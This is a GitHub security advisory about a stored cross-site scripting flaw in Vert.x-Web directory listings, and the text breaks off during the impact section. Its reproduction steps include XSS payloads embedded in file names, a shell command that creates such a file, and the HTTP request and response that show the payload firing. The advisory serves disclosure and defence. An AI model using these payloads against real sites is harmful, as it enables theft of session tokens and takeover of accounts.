GitHub Security Advisory: GHSA-45p5-v273-3qqr
Package: io.vertx:vertx-web (MAVEN)
Severity: LOW (CVSS 4.9)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 4.5.22
Patched in: 4.5.22

Summary: Vert.x-Web vulnerable to Stored Cross-site Scripting in directory listings via file names

Details:
# Description

- In the `StaticHandlerImpl#sendDirectoryListing(...)` method under the `text/html` branch, file and directory names are directly embedded into the `href`, `title`, and link text without proper HTML escaping.
- As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.
- Affected Code:
    - File: `vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java`
    - Lines:
        - 709–713: `normalizedDir` is constructed without escaping
        - 714–731: `<li><a ...>` elements insert file names directly into attributes and body without escaping
        - 744: parent directory name construction
        - 746–751: `{directory}`, `{parent}`, and `{files}` are inserted into the HTML template without escaping

# Reproduction Steps

1. Prerequisites:
    - Directory listing is enabled using `StaticHandler`  
      (e.g., `StaticHandler.create("public").setDirectoryListing(true)`)
    - The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)

2. Create a malicious file name (example for Unix-based OS):
    - Create an empty file in `public/` with one of the following names:
      - `<img src=x onerror=alert('XSS')>.txt`
      - Or attribute injection: `evil" onmouseover="alert('XSS')".txt`
    - Example:
      ```bash
      mkdir -p public
      printf 'test' > "public/<img src=x onerror=alert('XSS')>.txt"
      ```

3. Start the server (example):
    - Routing: `router.route("/public/*").handler(StaticHandler.create("public").setDirectoryListing(true));`
    - Server: `vertx.createHttpServer().requestHandler(router).listen(8890);`

4. Verification request (raw HTTP):
    ```
    GET /public/ HTTP/1.1
    Host: 127.0.0.1:8890
    Accept: text/html
    Connection: close
    ```

5. Example response excerpt:
    ```html
    <ul id="files">
      <li>
        <a href="/public/<img src=x onerror=alert('XSS')>.txt"
           title="<img src=x onerror=alert('XSS')>.txt">
           <img src=x onerror=alert('XSS')>.txt
        </a>
      </li>
      ...
    </ul>
    ```

- When accessing `/public/` in a browser, the unescaped file name is interpreted as HTML, and event handlers such as `onerror` are executed.

# Potential Impact

- **Stored XSS**
    - Arbitrary JavaScript executes in the browser context of users viewing the listing page
    - Possible consequences:
        - Theft of session tokens, JWTs, localStorage contents, or CSRF tokens
        - Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)
        - Watering hole attacks, including malware distribution or malicious script injection to other pages

- **Common Conditions That Make Exploitation Easier**
    - Uploaded files are served directly under a publicly accessible directory
    - Shared/synced directories (e.g.